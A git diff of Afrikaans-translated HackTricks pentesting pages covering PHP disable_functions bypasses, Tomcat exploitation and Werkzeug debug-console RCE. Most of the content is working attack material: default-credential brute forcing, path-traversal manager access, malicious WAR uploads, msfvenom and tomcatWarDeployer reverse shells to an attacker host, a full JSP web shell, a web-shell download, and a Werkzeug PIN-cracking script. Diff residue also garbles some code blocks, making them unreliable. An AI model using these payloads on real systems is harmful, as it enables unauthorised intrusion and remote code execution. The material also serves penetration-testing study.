### Inligting Openbaarmaking
|
||||
|
||||
Die meeste van hierdie funksie-oproepe is nie lekke nie. Maar dit kan 'n kwesbaarheid wees as enige van die teruggevoerde data sigbaar is vir 'n aanvaller. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid.
|
||||
|
||||
```php
|
||||
phpinfo
|
||||
posix_mkfifo
|
||||
|
@ -755,6 +788,7 @@ getmyinode
|
|||
getmypid
|
||||
getmyuid
|
||||
```
|
||||
|
||||
### Ander
|
||||
|
||||
Hier is 'n lys van ander nuttige PHP-funksies wat gebruik kan word vir die omseil van `disable_functions` en `open_basedir` beperkings:
|
||||
|
@ -822,6 +856,7 @@ mail('recipient@example.com', 'Subject', 'Message');
|
|||
```
|
||||
|
||||
Dit is belangrik om te onthou dat die gebruik van hierdie funksies om beperkings te omseil, 'n potensiële veiligheidsrisiko kan skep en slegs in spesifieke omstandighede gebruik moet word.
|
||||
|
||||
```php
|
||||
extract // Opens the door for register_globals attacks (see study in scarlet).
|
||||
parse_str // works like extract if only one argument is given.
|
||||
|
@ -841,11 +876,13 @@ posix_setpgid
|
|||
posix_setsid
|
||||
posix_setuid
|
||||
```
|
||||
|
||||
### Lêerstelsel Funksies
|
||||
|
||||
Volgens RATS is alle lêerstelsel funksies in PHP sleg. Sommige van hierdie funksies lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dink. Byvoorbeeld, as allow\_url\_fopen=On is, kan 'n URL as 'n lêerpad gebruik word, so 'n oproep na copy($\_GET\['s'], $\_GET\['d']); kan gebruik word om enige plek op die stelsel 'n PHP-skrips op te laai. As 'n webwerf ook vatbaar is vir 'n versoek wat via GET gestuur word, kan enigeen van hierdie lêerstelsel funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kanaliseer.
|
||||
|
||||
**Open lêerstelselhanterer**
|
||||
|
||||
```php
|
||||
fopen
|
||||
tmpfile
|
||||
|
@ -853,7 +890,9 @@ bzopen
|
|||
gzopen
|
||||
SplFileObject->__construct
|
||||
```
|
||||
|
||||
**Skryf na lêersisteem (gedeeltelik in kombinasie met lees)**
|
||||
|
||||
```php
|
||||
chgrp
|
||||
chmod
|
||||
|
@ -884,7 +923,9 @@ ftp_get
|
|||
ftp_nb_get
|
||||
scandir
|
||||
```
|
||||
|
||||
**Lees vanaf lêersisteem**
|
||||
|
||||
```php
|
||||
file_exists
|
||||
-- file_get_contents
|
||||
|
@ -940,6 +981,7 @@ sha1_file
|
|||
php_strip_whitespace
|
||||
get_meta_tags
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -949,7 +991,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# disable\_functions bypass - PHP <= 5.2.9 on windows
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -7,18 +9,17 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# PHP <= 5.2.9 op Windows
|
||||
## PHP <= 5.2.9 op Windows
|
||||
|
||||
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit.php" %}
|
||||
{% tab title="undefined" %}
|
||||
```php
|
||||
<?php
|
||||
//cmd.php
|
||||
|
@ -72,6 +73,8 @@ echo "</center>";
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="cmd.bat" %}
|
||||
```
|
||||
dir > abyss.txt
|
||||
|
@ -80,8 +83,6 @@ exit
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -91,7 +92,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
277
network-services-pentesting/pentesting-web/tomcat/README.md
Normal file
277
network-services-pentesting/pentesting-web/tomcat/README.md
Normal file
|
@ -0,0 +1,277 @@
|
|||
# Tomcat
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Ontdekking
|
||||
|
||||
* Dit hardloop gewoonlik op **poort 8080**
|
||||
* **Gewone Tomcat-fout:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Enumerasie
|
||||
|
||||
### **Weergawe-identifikasie**
|
||||
|
||||
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer word:
|
||||
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
||||
### **Bestandsligging van Bestuurder**
|
||||
|
||||
Die identifisering van die presiese ligging van die **`/bestuurder`** en **`/gasheer-bestuurder`** gids is noodsaaklik omdat hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.
|
||||
|
||||
### **Gebruikersnaam Opsomming**
|
||||
|
||||
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname op te som met:
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
||||
### **Verstek Wagwoorde**
|
||||
|
||||
Die **`/manager/html`** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids is beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
* admin:
|
||||
* admin:s3cr3t
|
||||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Hierdie wagwoorde kan getoets word met behulp van:
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
|
||||
'n Ander opmerklike gids is **`/manager/status`**, wat die Tomcat en OS weergawe vertoon, wat help met die identifisering van kwesbaarhede.
|
||||
|
||||
### **Brute Force Aanval**
|
||||
|
||||
Om 'n brute force aanval op die bestuursgids te probeer, kan 'n mens gebruik maak van:
|
||||
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
||||
## Algemene Kwesbaarhede
|
||||
|
||||
### **Wagwoord Terugsporing Uitlek**
|
||||
|
||||
Toegang tot `/auth.jsp` kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.
|
||||
|
||||
### **Dubbele URL-kodering**
|
||||
|
||||
Die CVE-2007-1860 kwesbaarheid in `mod_jk` maak dubbele URL-kodering padtraversal moontlik, wat ongemagtigde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
|
||||
|
||||
Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /voorbeelde
|
||||
|
||||
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtinguitlek en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /voorbeelde/jsp/num/numguess.jsp
|
||||
* /voorbeelde/jsp/dates/date.jsp
|
||||
* /voorbeelde/jsp/snp/snoop.jsp
|
||||
* /voorbeelde/jsp/error/error.html
|
||||
* /voorbeelde/jsp/sessions/carts.html
|
||||
* /voorbeelde/jsp/checkbox/check.html
|
||||
* /voorbeelde/jsp/colors/colors.html
|
||||
* /voorbeelde/jsp/cal/login.html
|
||||
* /voorbeelde/jsp/include/include.jsp
|
||||
* /voorbeelde/jsp/forward/forward.jsp
|
||||
* /voorbeelde/jsp/plugin/plugin.jsp
|
||||
* /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
|
||||
* /voorbeelde/jsp/simpletag/foo.jsp
|
||||
* /voorbeelde/jsp/mail/sendmail.jsp
|
||||
* /voorbeelde/servlet/HelloWorldExample
|
||||
* /voorbeelde/servlet/RequestInfoExample
|
||||
* /voorbeelde/servlet/RequestHeaderExample
|
||||
* /voorbeelde/servlet/RequestParamExample
|
||||
* /voorbeelde/servlet/CookieExample
|
||||
* /voorbeelde/servlet/JndiServlet
|
||||
* /voorbeelde/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Padtraversal-uitbuiting**
|
||||
|
||||
In sommige [**kwesbare opsette van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang tot beskermde gids in Tomcat verkry deur die pad: `/..;/`
|
||||
|
||||
Dus, byvoorbeeld, kan jy moontlik **die Tomcat-bestuurder**-bladsy toegang deur te gaan na: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**'n Ander manier** om beskermde paaie te omseil deur hierdie truuk te gebruik, is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Laastens, as jy toegang het tot die Tomcat-webtoepassingsbestuurder, kan jy **'n .war-lêer oplaai en inwerking stel (kode uitvoer)**.
|
||||
|
||||
### Beperkings
|
||||
|
||||
Jy sal slegs 'n WAR kan inwerking stel as jy **genoeg voorregte** het (rolle: **admin**, **manager** en **manager-script**). Hierdie besonderhede kan gevind word onder _tomcat-users.xml_ gewoonlik gedefinieer in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit verskil tussen weergawes) (sien [POST](./#post) afdeling).
|
||||
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
# deploy under "path" context path
|
||||
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
||||
|
||||
# undeploy
|
||||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
|
||||
### MSFVenom Omgekeerde Skul
|
||||
|
||||
1. Skep die oorlog om te ontplooi:
|
||||
|
||||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
|
||||
### Bind en omgekeerde dop met [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)
|
||||
|
||||
#### Aflaai
|
||||
|
||||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
|
||||
#### Omgekeerde dopshell
|
||||
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
|
||||
#### Bind skul
|
||||
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
||||
### Gebruik [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
|
||||
### Handmatige metode - Web shell
|
||||
|
||||
Skep **index.jsp** met hierdie [inhoud](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
<INPUT type=submit value='Run'>
|
||||
</FORM>
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
String output = "";
|
||||
if(cmd != null) {
|
||||
String s = null;
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||
BufferedReader sI = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||
} catch(IOException e) { e.printStackTrace(); }
|
||||
}
|
||||
%>
|
||||
<pre><%=output %></pre>
|
||||
```
|
||||
|
||||
```bash
|
||||
mkdir webshell
|
||||
cp index.jsp webshell
|
||||
cd webshell
|
||||
jar -cvf ../webshell.war *
|
||||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
|
||||
### Handleiding Metode 2
|
||||
|
||||
Kry 'n JSP-web dop soos [hierdie](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) en skep 'n WAR-lêer:
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||||
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||||
```
|
||||
|
||||
## POST
|
||||
|
||||
Naam van Tomcat-geloofsbriewe lêer is _tomcat-users.xml_
|
||||
|
||||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
|
||||
### Ander maniere om Tomcat-gedragskode te versamel:
|
||||
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
|
||||
## Ander tomcat skandering gereedskap
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Probeer Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
# Werkzeug / Flask Foutopsporing
|
||||
# Werkzeug / Flask Debug
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -23,9 +23,11 @@ Ander maniere om HackTricks te ondersteun:
|
|||
## Konsole RCE
|
||||
|
||||
As foutopsporing aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
||||
|
||||
```python
|
||||
__import__('os').popen('whoami').read();
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (317).png>)
|
||||
|
||||
Daar is ook verskeie uitbuite op die internet soos [hierdie](https://github.com/its-arun/Werkzeug-Debug-RCE) of een in metasploit.
|
||||
|
@ -37,11 +39,13 @@ In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As
|
|||
### Werkzeug Console PIN Uitbuiting
|
||||
|
||||
Dwing 'n foutbladsy in die app af om dit te sien:
|
||||
|
||||
```
|
||||
The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
|
||||
'n Berig rakende die "konsole gesluit" scenario word aangetref wanneer daar gepoog word om toegang tot Werkzeug se foutopsporingskoppelvlak te verkry, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN-genereringsalgoritme in Werkzeug se foutopsporingsinitsialisasie-lêer (`__init__.py`) te analiseer. Die PIN-genereringsmeganisme kan bestudeer word vanuit die [**Werkzeug bronkode-opgaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), alhoewel dit aanbeveel word om die werklike bedienerkode te bekom deur 'n lêertraversie-kwesbaarheid weens potensiële weergawe-afwykings.
|
||||
|
||||
Om die konsole PIN te benut, word twee stelle veranderlikes, `probably_public_bits` en `private_bits`, benodig:
|
||||
|
@ -57,55 +61,47 @@ Om die konsole PIN te benut, word twee stelle veranderlikes, `probably_public_bi
|
|||
|
||||
* **`uuid.getnode()`**: Haal die MAC-adres van die huidige masjien op, met `str(uuid.getnode())` wat dit na 'n desimale formaat omskakel.
|
||||
* Om die MAC-adres van die bediener te bepaal, moet mens die aktiewe netwerkinterface wat deur die app gebruik word identifiseer (byvoorbeeld, `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, en haal dan die MAC-adres uit **`/sys/class/net/<toestel id>/address`**.
|
||||
* Omskakeling van 'n heksadesimale MAC-adres na desimaal kan uitgevoer word soos hieronder getoon:
|
||||
* Omskakeling van 'n heksadesimale MAC-adres na desimaal kan uitgevoer word soos hieronder getoon:
|
||||
|
||||
```python
|
||||
# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
|
||||
* **`get_machine_id()`**: Kombineer data vanaf `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` met die eerste lyn van `/proc/self/cgroup` na die laaste skuiwingsteken (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kode vir `get_machine_id()`</summary>
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
|
||||
if _machine_id is not None:
|
||||
return _machine_id
|
||||
\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id
|
||||
|
||||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||||
linux = b""
|
||||
if \_machine\_id is not None: return \_machine\_id
|
||||
|
||||
def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""
|
||||
|
||||
## machine-id is stable across boots, boot\_id is not.
|
||||
|
||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
|
||||
|
||||
if value: linux += value break
|
||||
|
||||
## Containers share the same machine id, add some cgroup
|
||||
|
||||
## information. This is used outside containers too but should be
|
||||
|
||||
## relatively stable across boots.
|
||||
|
||||
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass
|
||||
|
||||
if linux: return linux
|
||||
|
||||
## On OS X, use ioreg to get the computer's serial number.
|
||||
|
||||
# machine-id is stable across boots, boot_id is not.
|
||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
value = f.readline().strip()
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
if value:
|
||||
linux += value
|
||||
break
|
||||
|
||||
# Containers share the same machine id, add some cgroup
|
||||
# information. This is used outside containers too but should be
|
||||
# relatively stable across boots.
|
||||
try:
|
||||
with open("/proc/self/cgroup", "rb") as f:
|
||||
linux += f.readline().strip().rpartition(b"/")[2]
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if linux:
|
||||
return linux
|
||||
|
||||
# On OS X, use ioreg to get the computer's serial number.
|
||||
try:
|
||||
```
|
||||
````
|
||||
</details>
|
||||
|
||||
Na die versameling van alle nodige data, kan die uitbuitingskrip uitgevoer word om die Werkzeug konsole PIN te genereer. Die krip gebruik die saamgestelde `probably_public_bits` en `private_bits` om 'n hashteken te skep, wat dan verdere verwerking ondergaan om die finale PIN te produseer. Hieronder is die Python-kode om hierdie proses uit te voer:
|
||||
|
@ -153,34 +149,19 @@ else:
|
|||
rv = num
|
||||
|
||||
print(rv)
|
||||
```
|
||||
Hierdie skrip genereer die PIN deur die saamgevoegde bietjies te hash, spesifieke sout ("cookiesalt" en "pinsalt") by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir "probably_public_bits" en "private_bits" akkuraat verkry moet word vanaf die teikenstelsel om te verseker dat die gegenereerde PIN ooreenstem met die een wat deur die Werkzeug-konsole verwag word.
|
||||
````
|
||||
|
||||
Hierdie skrip genereer die PIN deur die saamgevoegde bietjies te hash, spesifieke sout ("cookiesalt" en "pinsalt") by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir "probably\_public\_bits" en "private\_bits" akkuraat verkry moet word vanaf die teikenstelsel om te verseker dat die gegenereerde PIN ooreenstem met die een wat deur die Werkzeug-konsole verwag word.
|
||||
|
||||
{% hint style="success" %}
|
||||
As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme na md5** te verander in plaas van sha1.
|
||||
{% endhint %}
|
||||
|
||||
## Verwysings
|
||||
### Verwysings
|
||||
|
||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
